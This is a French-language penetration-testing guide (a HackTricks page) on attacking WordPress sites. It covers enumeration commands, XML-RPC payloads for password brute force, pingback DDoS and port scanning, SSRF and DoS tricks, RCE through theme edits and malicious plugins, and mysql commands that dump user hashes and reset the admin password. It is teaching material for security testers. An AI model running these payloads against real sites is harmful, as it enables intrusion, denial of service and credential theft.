hacktricks/network-services-pentesting/pentesting-web/wordpress.md
2023-06-03 13:10:46 +00:00

22 KiB

Wordpress

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Informations de base

Les fichiers téléchargés vont à : http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Les fichiers de thèmes peuvent être trouvés dans /wp-content/themes/, donc si vous modifiez un fichier php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le thème twentytwelve, vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php
Une autre URL utile pourrait être : /wp-content/themes/default/404.php

Dans wp-config.php, vous pouvez trouver le mot de passe root de la base de données.

Les chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Fichiers principaux de WordPress

  • index.php
  • license.txt contient des informations utiles telles que la version de WordPress installée.
  • wp-activate.php est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.
  • Dossiers de connexion (peuvent être renommés pour les masquer) :
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php est un fichier qui représente une fonctionnalité de WordPress qui permet la transmission de données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme de codage. Ce type de communication a été remplacé par l'API REST de WordPress.
  • Le dossier wp-content est le répertoire principal où les plugins et les thèmes sont stockés.
  • wp-content/uploads/ est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
  • wp-includes/ C'est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices de caractères, les fichiers JavaScript et les widgets.

Post-exploitation

  • Le fichier wp-config.php contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés et les sels d'authentification, et le préfixe de table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, qui peut être utile pour le dépannage.

Permissions des utilisateurs

  • Administrateur
  • Editeur : Publie et gère ses propres publications et celles des autres.
  • Auteur : Publie et gère ses propres publications.
  • Contributeur : Écrit et gère ses publications mais ne peut pas les publier.
  • Abonné : Parcourt les publications et modifie son profil.

Énumération passive

Obtenir la version de WordPress

Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html

Dans le code source de la page (exemple de https://wordpress.org/support/article/pages/) :

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Fichiers de liens CSS

  • Fichiers JavaScript

Obtenir des plugins

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtenir des thèmes

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraire les versions en général

curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Énumération active

Plugins et thèmes

Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour découvrir tous les plugins et thèmes, vous devrez forcer activement une liste de plugins et de thèmes (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).

Utilisateurs

Brute force d'ID

Vous pouvez obtenir des utilisateurs valides d'un site WordPress en forçant les ID des utilisateurs :

curl -s -I -X GET http://blog.example.com/?author=1

Si les réponses sont 200 ou 30X, cela signifie que l'identifiant est valide. Si la réponse est 400, alors l'identifiant est invalide.

wp-json

Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :

curl http://blog.example.com/wp-json/wp/v2/users

Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies.

Notez également que /wp-json/wp/v2/pages pourrait divulguer des adresses IP.

Énumération des noms d'utilisateur de connexion

Lors de la connexion à /wp-login.php, le message est différent si le nom d'utilisateur indiqué existe ou non.

XML-RPC

Si xml-rpc.php est actif, vous pouvez effectuer une attaque de force brute de mots de passe ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).

Pour voir s'il est actif, essayez d'accéder à /xmlrpc.php et envoyez cette requête:

Vérifier

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce de mots de passe

Les méthodes wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs peuvent être utilisées pour effectuer un bruteforce de mots de passe. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Le message "Nom d'utilisateur ou mot de passe incorrect" dans une réponse de code 200 doit apparaître si les informations d'identification ne sont pas valides.

En utilisant les informations d'identification correctes, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
	<methodName>wp.uploadFile</methodName>
	<params>
		<param><value><string>1</string></value></param>
		<param><value><string>username</string></value></param>
		<param><value><string>password</string></value></param>
		<param>
			<value>
				<struct>
					<member>
						<name>name</name>
						<value><string>filename.jpg</string></value>
					</member>
					<member>
						<name>type</name>
						<value><string>mime/type</string></value>
					</member>
					<member>
						<name>bits</name>
						<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
					</member>
				</struct>
			</value>
		</param>
	</params>
</methodCall>

Il existe également un moyen plus rapide de forcer l'authentification en utilisant system.multicall car vous pouvez essayer plusieurs identifiants sur la même requête :

Contourner la double authentification

Cette méthode est destinée aux programmes et non aux humains, et elle est ancienne, donc elle ne prend pas en charge la double authentification. Ainsi, si vous avez des identifiants valides mais que l'entrée principale est protégée par une double authentification, vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant la double authentification. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez quand même être en mesure d'obtenir une RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ou scan de port

Si vous trouvez la méthode pingback.ping dans la liste, vous pouvez demander à Wordpress d'envoyer une requête arbitraire à n'importe quel hôte/port.
Cela peut être utilisé pour demander à des milliers de sites Wordpress d'accéder à une même adresse (ce qui provoque un DDoS sur cette adresse) ou vous pouvez l'utiliser pour faire scanner un réseau interne de Wordpress (vous pouvez indiquer n'importe quel port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez un faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.

Jetez un coup d'œil à l'utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode pour causer une attaque DDoS.

DDoS

<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://target/</string></value></param>
        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    </params>
</methodCall>

wp-cron.php DoS

Ce fichier se trouve généralement sous la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accédé, une requête MySQL "lourde" est effectuée, il peut donc être utilisé par les attaquants pour causer un DoS.
De plus, par défaut, wp-cron.php est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui peut causer des problèmes (DoS) sur les sites à fort trafic.

Il est recommandé de désactiver Wp-Cron et de créer une tâche cron réelle à l'intérieur de l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).

/wp-json/oembed/1.0/proxy - SSRF

Essayez d'accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Worpress peut vous faire une demande.

Voici la réponse lorsque cela ne fonctionne pas :

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Cet outil vérifie si le nom de la méthode : pingback.ping et pour le chemin /wp-json/oembed/1.0/proxy existent, et s'ils existent, il essaie de les exploiter.

Outils automatiques

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Obtenez l'accès en écrasant un peu

Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man, vous pouvez inverser 1 bit de n'importe quel fichier WordPress. Vous pouvez donc inverser la position 5389 du fichier /var/www/html/wp-includes/user.php pour annuler l'opération NOT (!).

    if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
            return new WP_Error(

Panel RCE

Modification d'un fichier php du thème utilisé (identifiants d'administration nécessaires)

Apparence → Éditeur de thème → Modèle 404 (à droite)

Modifiez le contenu pour y ajouter un shell php :

Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Vous pouvez utiliser :

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

Plugin PHP

Il est possible de télécharger des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple:

Ensuite, ajoutez un nouveau plugin:

Téléchargez le plugin et appuyez sur Installer maintenant:

Cliquez sur Procced:

Cela ne fera probablement rien apparemment, mais si vous allez dans Médias, vous verrez votre shell téléchargé:

Accédez-y et vous verrez l'URL pour exécuter le shell inversé:

Téléchargement et activation de plugin malveillant

(Cette partie est copiée de https://www.hackingarticles.in/wordpress-reverse-shell/)

Parfois, les utilisateurs ne possèdent pas l'autorisation d'écriture pour apporter des modifications au thème WordPress, nous choisissons donc "Injecter un plugin WP malveillant" comme stratégie alternative pour acquérir un shell web.

Ainsi, une fois que vous avez accès à un tableau de bord WordPress, vous pouvez essayer d'installer un plugin malveillant. Ici, j'ai déjà téléchargé le plugin vulnérable depuis exploit db.

Cliquez ici pour télécharger le plugin pour la pratique.

Puisque nous avons un fichier zip pour le plugin, il est temps de télécharger le plugin.

Tableau de bord > plugins > télécharger le plugin

Parcourez le fichier zip téléchargé comme indiqué.

Une fois que le package est installé avec succès, nous devons activer le plugin.

Lorsque tout est bien configuré, passez à l'exploitation. Puisque nous avons installé un plugin vulnérable nommé "reflex-gallery" et qu'il est facilement exploitable.

Vous obtiendrez une exploitation de cette vulnérabilité dans le cadre du framework Metasploit et chargez donc le module ci-dessous et exécutez la commande suivante:

Une fois les commandes ci-dessus exécutées, vous aurez votre session meterpreter. Tout comme décrit dans cet article, il existe plusieurs méthodes pour exploiter un site web de plateforme WordPress.

Post-exploitation

Extraire les noms d'utilisateur et les mots de passe:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Changer le mot de passe admin :

Il est important de changer régulièrement le mot de passe de l'administrateur pour éviter les accès non autorisés. Voici les étapes pour changer le mot de passe admin :

  1. Connectez-vous à votre tableau de bord WordPress en tant qu'administrateur.
  2. Cliquez sur "Utilisateurs" dans le menu de gauche.
  3. Cliquez sur "Modifier" sous le nom de l'utilisateur "admin".
  4. Entrez votre nouveau mot de passe dans les champs "Nouveau mot de passe" et "Confirmer le nouveau mot de passe".
  5. Cliquez sur "Mettre à jour le profil" pour enregistrer les modifications.

Assurez-vous de choisir un mot de passe fort et unique pour éviter les attaques de force brute.

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Protection de WordPress

Mises à jour régulières

Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php :

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

De plus, installez uniquement des plugins et des thèmes WordPress fiables.

Plugins de sécurité

Autres recommandations

  • Supprimez l'utilisateur admin par défaut
  • Utilisez des mots de passe forts et 2FA
  • Examinez périodiquement les autorisations des utilisateurs
  • Limitez les tentatives de connexion pour éviter les attaques par force brute
  • Renommez le fichier wp-admin.php et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥